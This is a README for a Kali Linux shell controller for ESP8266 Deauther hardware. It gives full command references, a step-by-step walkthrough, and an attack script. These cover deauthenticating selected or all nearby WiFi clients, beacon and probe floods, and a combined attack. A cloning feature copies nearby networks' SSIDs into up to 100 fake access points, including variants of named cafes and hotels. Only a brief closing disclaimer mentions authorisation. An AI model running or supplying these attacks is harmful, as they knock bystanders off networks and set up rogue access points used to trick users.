A powerful command-line shell controller for the ESP8266 Deauther project. Control your ESP8266 Deauther via serial connection from Kali Linux (or any Linux distribution).
- Auto-detect ESP8266 Deauther serial port
- Interactive shell with command history
- All Deauther commands supported (scan, attack, SSIDs, etc.)
- Color-coded output for easy reading
- Script execution support
- Single command mode for automation
- Tab completion and command history
- WiFi Network Cloning - Scan and clone nearby WiFi networks for fake AP attacks
- Mass SSID Creation - Generate up to 100 fake network variations automatically
- WiFi Controller - Control ESP8266 Deauther over WiFi connection
The deauther_wifi.sh script now includes advanced WiFi network cloning capabilities:
- Smart WiFi Scanning: Uses multiple methods (nmcli, iwlist, airodump-ng) to discover nearby networks
- Network Selection: Choose specific networks or clone all discovered networks
- Variation Generation: Automatically creates fake network variations (e.g., "WiFi_Free", "Guest_WiFi")
- Bulk Loading: Up to 100 fake networks loaded into ESP8266 Deauther automatically
# Connect to deauther and start controller
./deauther_wifi.sh
# Connect to custom deauther network
./deauther_wifi.sh "MyDeauther" "mypassword" wlan0 192.168.4.1# Quick clone all nearby networks
python3 wifi_clone_example.py --clone-all
# Interactive network selection
python3 wifi_clone_example.py --interactive
# Clone specific SSIDs
python3 wifi_clone_example.py --ssids "Starbucks,McDonalds_WiFi,Hotel_Guest"
# Direct controller usage
python3 deauther_wifi.py --host 192.168.4.1
# Then use option [6] Quick Clone WiFi in main menuWhen you run the WiFi version, you'll get these cloning options:
- [A] Clone ALL networks: Clones all discovered networks with variations (up to 100)
- [S] Select specific networks: Choose individual networks by ID
- [T] Clone top 20: Clone the 20 strongest signal networks
- [C] Cancel: Continue without cloning
- [6] Quick Clone WiFi: One-click scan and clone nearby networks
- [A] Shell Mode: Advanced command line interface
- [5] Scan WiFi Networks: Scan for nearby networks using system tools
- [6] Clone All Networks: Clone all discovered networks with variations (no duplicates)
- [7] Clone Selected Networks: Choose specific networks to clone
- [8] Generate Fake Networks: Create 100% diverse fake networks (hotels, cafes, businesses)
- [9] Mass Clone Networks: Create clones from custom SSID list
- [C] Clear All SSIDs: Remove all networks
The new system creates completely different network names instead of duplicates:
Network Categories Generated:
- Business: CorporateWiFi, BusinessNet, OfficeGuest, Enterprise_WiFi
- Public: Free_WiFi, Guest_Network, Public_Access, Open_WiFi
- Hospitality: Hotel_Guest, Restaurant_WiFi, Cafe_Free, Bar_WiFi
- Retail: Mall_WiFi, Store_Guest, Shopping_WiFi, Retail_Access
- Transport: Airport_WiFi, Station_Free, Bus_WiFi, Train_Access
- Education: University_WiFi, Campus_Guest, Student_WiFi, Library_WiFi
- Healthcare: Hospital_Guest, Clinic_WiFi, Medical_WiFi, Health_Access
- Residential: Home_WiFi, Family_Guest, House_Network, Private_WiFi
- Open Networks: Guest, Free, Public networks (realistic)
- WPA2 Networks: Corporate, Business, Private networks (realistic)
- Random Assignment: Mixed security for variety
For each original network, the tool creates variations like:
OriginalName_FreeOriginalName_GuestOriginalName_PublicFree_OriginalNameGuest_OriginalNameOriginalName-GuestOriginalName2024
- nmcli scan: Uses NetworkManager for reliable results
- iwlist scan: Fallback method for systems without NetworkManager
- Automatic filtering: Removes duplicate and invalid SSIDs
- Signal sorting: Networks sorted by signal strength
- Python 3.6+
- pyserial library (for USB connection)
- requests library (for WiFi connection)
- ESP8266 Deauther connected via USB or WiFi
- NetworkManager or wireless-tools (for WiFi scanning)
# Install required Python packages
pip3 install pyserial requests
# Make scripts executable
chmod +x deauther.sh
chmod +x deauther_wifi.sh
chmod +x deauther_controller.py# Auto-detect and connect
./deauther.sh
# Or specify port directly
python3 deauther_controller.py -p /dev/ttyUSB0# Scan for access points
python3 deauther_controller.py -p /dev/ttyUSB0 -c "scan aps"
# Start deauth attack
python3 deauther_controller.py -p /dev/ttyUSB0 -c "attack deauth"# Execute commands from a file
python3 deauther_controller.py -p /dev/ttyUSB0 -s attack_script.txt| Command | Description |
|---|---|
connect [port] |
Connect to Deauther (auto-detect if no port) |
disconnect |
Disconnect from Deauther |
| Command | Description |
|---|---|
scan aps [time] |
Scan for access points (default: 5s) |
scan stations [time] |
Scan for stations/clients (default: 15s) |
scan all [time] |
Scan for everything (default: 15s) |
scan wifi [time] [ch] |
WiFi scan mode for packet monitor |
| Command | Description |
|---|---|
show aps |
Show discovered access points |
show stations |
Show discovered stations |
show names |
Show saved device names |
show ssids |
Show SSID list |
show selected |
Show selected targets only |
| Command | Description |
|---|---|
select ap <id> |
Select access point by ID |
select station <id> |
Select station by ID |
select all |
Select all targets |
deselect ap <id> |
Deselect access point |
deselect all |
Deselect all targets |
| Command | Description |
|---|---|
attack deauth [timeout] |
Deauth selected targets |
attack deauthall [timeout] |
Deauth all nearby clients |
attack beacon [timeout] |
Beacon flood with SSID list |
attack probe [timeout] |
Probe request flood |
attack combo [timeout] |
Combined deauth + beacon |
stop |
Stop all attacks/scans |
stop attack |
Stop attack only |
stop scan |
Stop scan only |
| Command | Description |
|---|---|
ssid add "<name>" |
Add SSID to beacon list |
ssid add -ap <id> |
Copy SSID from scanned AP |
ssid remove <id> |
Remove SSID by ID |
ssid clear |
Remove all SSIDs |
| Command | Description |
|---|---|
ap start [ssid] [password] |
Start Deauther access point |
ap stop |
Stop access point |
led <r> <g> <b> |
Set LED color (RGB) |
led #rrggbb |
Set LED color (hex) |
reboot |
Reboot device |
| Command | Description |
|---|---|
info |
Show firmware info |
sysinfo |
Show system info (RAM, MAC, etc) |
settings get <key> |
Get setting value |
settings set <key> <value> |
Set setting value |
| Command | Description |
|---|---|
raw <command> |
Send raw command to device |
verbose [on/off] |
Toggle verbose output |
clear |
Clear screen |
help |
Show all commands |
exit / quit |
Exit the shell |
# 1. Start the controller
./deauther.sh
# 2. Connect (auto-detect)
deauther> connect
# 3. Scan for networks
deauther> scan aps 10
# 4. Show results
deauther> show aps
# 5. Select target (AP ID 0)
deauther> select ap 0
# 6. Add SSIDs for beacon flood
deauther> ssid add "FreeWiFi"
deauther> ssid add "Hotel_Guest"
# 7. Start combined attack (60 seconds)
deauther> attack combo 60
# 8. Stop attack
deauther> stop
# 9. Exit
deauther> exitCreate a file attack_script.txt:
scan aps 5
select ap 0
attack deauth 30
stop
Run it:
python3 deauther_controller.py -p /dev/ttyUSB0 -s attack_script.txt# Add user to dialout group
sudo usermod -a -G dialout $USER
# Or run with sudo
sudo python3 deauther_controller.py# List serial devices
ls /dev/ttyUSB* /dev/ttyACM*
# Check dmesg for USB connections
dmesg | grep -i usb | tail -20# Try different baud rate
python3 deauther_controller.py -p /dev/ttyUSB0 -b 9600- Only use on networks you own or have explicit permission to test
- Deauthentication attacks are illegal in most jurisdictions without authorization
- The authors are not responsible for misuse of this software
MIT License - See LICENSE file for details.
- ESP8266 Deauther by SpacehuhnTech
- Kali Linux Controller by ESP8266 Deauther Community